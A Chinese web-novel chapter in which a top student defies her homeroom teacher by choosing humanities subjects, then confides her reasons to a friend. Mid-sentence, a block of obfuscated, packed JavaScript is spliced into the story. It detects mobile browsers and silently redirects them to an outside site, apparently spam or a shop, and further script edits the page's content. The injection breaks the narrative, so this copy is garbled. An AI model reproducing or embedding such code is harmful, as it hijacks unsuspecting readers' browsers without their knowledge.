十二月中旬,复课通知终于降临。
班级群里又一次炸开了锅,绝大多数人都有一种逃出生天的狂喜,十五六岁的少年人,无不渴望回到有同桌、有走廊、有真真切切目光相接的地方。
刚高兴没多久,就有一批人开始哀嚎作业补不完了。
堆积如山的作业落到了实实在在的课桌上,两次考试取消后谁也摸不清自己现在的位置,迫在眉睫的期末考试更是要命。
复课后的江大附中,学生们压根没有叙旧的工夫,尤其是一二班所在的四楼,更是直接进入了战时状态。
课间伏案小憩的人越来越多,匆匆往返于办公室问问题的脚步更加密集,就连课间十分钟八卦的声音都少了些,取而代之的是各个小团体凑到一起讨论题目。
就在这样紧绷的氛围里,选科的议题再一次被柳鸿抛了出来。
复课不到一周,一个再寻常不过的早自习,大多数人尚且昏昏欲睡,柳鸿就背着手踱进了教室,脸上依旧是那副让人捉摸不透的神情。
柳鸿拍了拍黑板,又喊醒了几个早自习补觉的同学,才慢悠悠开口,“趁着今天人齐,我先简单了解一下情况。”
“咱们是第一届新高考,这学期结束就分科,按照学校的初步安排,大概率只有物化生组合会留在咱们班,其他小科会单独编班。想选非纯理组合的举个手,我看看人数。”
话音落下,东篱夏的心一下子提了起来,紧张地望向了甄盼的方向。
似乎感应到她的目光,甄盼忽然回过头,两人的视线在空中仓促交汇。
她看着甄盼对自己轻轻摇了摇头,然后转了回去。
甄盼到底没有举手。
东篱夏心里松了口气。
她很难想象甄盼到底是顶住了怎样的压力,才为自己赢得了又一次证明的机会。
她的目光在教室里扫视一圈,零零星星有大概十只手举了起来,有的犹豫,有的坦然。
她倒是意外地发现,洛宓没有举手,或许是老洛还想把她放在自己身边看着吧。
举手的人不算多,但在只有五十人的清北班里,也足够显眼。
对于二班绝大多数人而言,不选纯理,相当于默认离开汇聚了最优师资和顶配环境的清北班,分班之后的学习氛围也是很大的参考因素。
柳鸿的实现缓缓扫过那些举起的手,表情没什么变化,只是在视线越过东篱夏时皱起了眉头。
“虞霁月,”柳鸿的声音比刚才都快了一点,意外之情溢于言表,“你不选纯理?”
昏昏欲睡的众人瞬间因为这话炸开了锅,不少低头的人诧异地抬起头,循着柳鸿的目光望去。东篱夏更是登时震惊地回过头。
虞霁月就坐在她斜后方转着笔,甚至有点过于平静了。
她迎着柳鸿和全班同学讶异的目光自然地点了点头,“是的老师,我选大文,史地政。”
低低的议论声瞬间蔓延开来,贺疏放也放下了手中的笔,和东篱夏对视一眼,都在对方眼里看见了迷茫。
无论开学考还是第一次月考,虞霁月都是学年前十,虽然学得漫不经心,数物化生却也毫不逊色,为什么会江城最顶尖高中的清北班,放弃显而易见的理科优势去选文科?
柳鸿的脸色沉了下来,语速破天荒地变快,“你跟你家长商量了吗?选科不是儿戏,不能因为想偷懒,觉得学文科轻松,一时冲动就轻易做决定!”
这话说得未免有点重了。
一听到“觉得学文科轻松”,虞霁月的眉头立刻拧了起来。东篱夏知道,她一定不是那种会默默承受误解的人。
“柳老师。”
虞霁月趁着柳鸿换气的当口接过了话头,无视了前半句跟没跟家长商量的问题,直接接了柳鸿的后半句,
“我选大文不是因为想偷懒,更不是什么一时冲动。我期中考试历史98,政治97,确实有这方面的优势,更何况我也不喜欢物理。”
“胡闹,一看你就没和家长商量过!”
柳鸿的声音陡然拔高,显然被虞霁月的冥顽不灵惹毛了,
“喜欢能当饭吃吗?你现在理科成绩摆在这里,年级前十,清北那么多好专业可以选!文综那东西,不稳定因素特别大,尤其是你地理也没有历史政治那么好!”
“康庄大道你不走,偏要去踩独木桥!我和你讲,你这是对自己不负责任,对学校跟家长的期待不负责任!”
“老师,我没有不负责任,我想得很明白。”
虞霁月还想争辩,但柳鸿显然不打算在早自习继续这场在他看来毫无意义的辩论,直接打断了她的话,“赶紧的,你出来一下。”
虞霁月放下手中的笔,在全班或惊诧或不解或同情的目光中站起身,跟着柳鸿走出了教室,大概是往办公室的方向去了。
贺疏放转过身来问东篱夏,“她之前和你说过要学文科吗?”
东篱夏也是一脸惊诧,“当然没有,我也是今天才知道。”
第一节课上课铃响起的时候,虞霁月才被放回来,低着头快步走回座位,显然没什么好脸色。
东篱夏又为虞霁月捏了一把汗。
即使在这样崇尚理科的大环境下,虞霁月还是坚持在清北班突兀地选了大文,必然会有自己的理由。
她相信虞霁月虽然天马行空,但从来不是冲动的人,更不是真的会图轻松学文。
第一节课的下课铃刚响,东篱夏就迫不及待地转过身压低了声音问,“柳鸿刚才叫你出去说什么了?”
虞霁月扫了眼旁边好奇的同学,拉着东篱夏就站起身往外走,“厕所说,这块人多。”
两人一齐穿过走廊,走向尽头的卫生间,第一节下课上厕所的人不算太多,虞霁月进去就往地下一蹲,有点无奈地看着她。
她想跟虞霁月开句玩笑,说虞霁月要蹲就蹲坑里,蹲在这儿算什么,但看虞霁月那副样子,到了嘴边的话又硬生生收了回去。
这还是她第一次从这个大仙人脸上看到这样疲惫的神色。
“柳鸿还能说啥啊?”
虞霁月埋着头,声音压得很低,依旧尽力把语气放得轻快,
“先来一套思想教育大礼包呗。什么工科为王,文科就业面窄,放弃理科优势可惜这那那这的,哎呀,反正就是你能脑补出来那种。”
东篱夏连忙问,“那你怎么回的?”
“我说,那些理工科专业,我本来也没兴趣。”
虞霁月依旧蹲在那,抬起头看着东篱夏,像只可怜巴巴的小狗,
“他可能觉得我在赌气,然后就开始强调我理科成绩的优势,还有我那88分的可怜地理。就好像我选了大文,就有多大罪过似的。”
东篱夏能想象那个画面,在柳鸿的视角,自己完全就是在苦口婆心地纠正一个误入歧途的好苗子,而虞霁月偏偏又不是三言两语能说动的性子。
“后来他见说不动我,”虞霁月的语气里带了点嘲讽,“就搬出终极武器,找家长呗。”
东篱夏愣了一下,她记得虞霁月每次在做荒唐事之前,都会拿“柳鸿要找我家长,也得能找着算啊”来安抚她的担心,没想到这次柳鸿还真去找她家长了。
“谁成想啊,他这回真找了。”虞霁月好像蹲得有点累了,站起身来斜倚着墙,“给我爸打电话,结果如我所料吧,没接。”
哇塞,有钱人家就是不一样啊。
空气安静了一瞬,东篱夏实在不知道该作何反应。
虞大老板真对这个闺女管都不管,连闺女班主任电话都不接啊!
“柳鸿大概也觉得很没面子,更火大了,然后不知道咋寻思的,直接给我哥打了语音电话。”
“你哥?为啥啊?”
“谁道呢,大概觉得我哥是明白人,是大榜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17069949|193207||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
样,说的话我能听进去呗。”
虞霁月拧开水龙头洗了把手,从纸巾滚筒撕了一截下来擦了两下,旋即揉成一团丢进垃圾桶,明显有点烦躁,
“这神经病还开了免提,估计我哥正骑车在上早八路上呢,他也不管,就一个劲问我哥知不知道我要选文。”
东篱夏小心翼翼地问,“你哥咋说?”
虞霁月站起身照了照镜子,撇了撇嘴,“他说,现在知道了。”
东篱夏:“……”
就这么一句?
不惊讶不劝阻甚至不问两句?
“柳鸿大概也被我哥噎了一下。”
虞霁月嘴角弯了弯,这次是真的有点想笑,“然后就赶紧让他好好劝劝我,说什么不能由着我的性子来,要综合考虑未来发展这那那这的。”
“然后呢?”东篱夏追问。
“然后我哥就说,”虞霁月转回身,语气轻飘飘的,笑容却更灿烂了一点。
“‘听她的吧,她自己想好了就行。我妹一直挺有主意的,谁也说不过她。’”
东篱夏彻底说不出话了。
她想过虞光风会帮着柳鸿劝,或者至少问几句缘由,却没想到是这种节目。
“柳鸿当时那表情,估计是觉得我们一家子都不可理喻,一个找不到的爹,一个助纣为虐的哥,养出一个我来也不奇怪。他也没辙了,只好把我撵回来上课了。”
两人一时无言。
是啊,到底是什么家庭,能养出虞霁月这种仙人啊?
东篱夏顺带着洗了把手,也扯了张纸,斟酌着词句,“所以你到底为什么这么坚持要学文?就因为喜欢历史政治?”
“算是吧,主要还是喜欢历史和膈应物理。”
虞霁月恢复了散漫的老样子,“我真心想不明白,研究一个小木块在斜面上怎么加速减速对我的人生有啥用啊?反正我不喜欢。会有很多喜欢研究这种东西的人去造福科学界的,没必要是我。”
“我更喜欢看文字,看故事,看人。历史多有意思啊,朝代的兴衰背后是无数的角力和无数偶然的叠加,去研究冥冥之中的因果不比物理题那些有死解的玩意有意思多了。”
“而且说实话,学文竞争压力确实小点,承认这个也不丢人。”
“我这个人你也知道,散漫惯了,让我用十分的力气去拼去卷,我做不到。七分是我的舒适区,也是我的极限,在文科赛道用七分力达成的结果,可能得在理科赛道用十分力,那我何不让自己轻松点呢?”
东篱夏听着,一方面觉得她说得每一条都有道理,另一方面又总觉得她还有层更深的东西没说出来。
“再想的话,膈应柳鸿,膈应周益荣呗。本身我对二班也没啥归属感,没准去文科班能如鱼得水呢。”
“得了,往回走吧。”
虞霁月揽住她的肩,两个人就这样慢悠悠往回走。
走到一半的时候,虞霁月揽着她的手忽然更用力了些,
“还有一个原因。我只告诉你。”
东篱夏郑重地点点头,“你说,我保密。”
虞霁月看着她,那双总是带着点戏谑的眼睛此刻异常认真。
她凑近东篱夏耳边,用只有两人能听到的音量说道,
“听着挺矫情的,但我确实不想一直当虞光风的妹妹,不想一直被拿来和我哥比聪明比成绩比这那那这。”
东篱夏第一次从虞霁月的声音里听出来了点破釜沉舟的决绝。
“我要选大文,去一个没有我哥,完全属于我自己的地方。”
“自己打片江山,自己当大王,多爽。”
发表完一席中二少女的发言后,虞霁月话音落下,松开了东篱夏的胳膊,率先一步跨进了教室门,留下东篱夏看着她往座位走的背影陷入沉思。
原来是这样。
这才是一个最虞霁月的答案啊。